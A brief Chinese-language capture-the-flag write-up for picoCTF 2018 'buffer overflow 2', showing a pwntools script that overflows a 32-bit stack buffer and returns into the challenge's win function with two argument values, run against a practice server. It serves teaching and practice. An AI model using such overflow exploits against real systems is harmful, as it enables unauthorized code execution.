picoctf_2018_buffer overflow 2

picoctf_2018_buffer overflow 2

我们先checksec一下:

1

可能是栈溢出漏洞,拖入IDA中查看:

2

3

是栈溢出,直接溢出到win函数就可以了,注意,32位程序,参数直接在栈上,所以直接传递就可以,payload如下:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
sh = remote("node5.buuoj.cn",25098)
context.log_level = "debug"
elf = ELF("./pwn")
win_address = elf.symbols["win"]

sh.recvuntil("Please enter your string: ")
payload = "A"*(0x6c+0x4) + p32(win_address) + p32(0) + p32(0xDEADBEEF) + p32(0xDEADC0DE)

sh.sendline(payload)
sh.interactive()

需要注意的是,数字不要直接传入p32()函数,在IDA中选定数字,按下H键,转成16进制后,再传入p32()函数,要不会报错。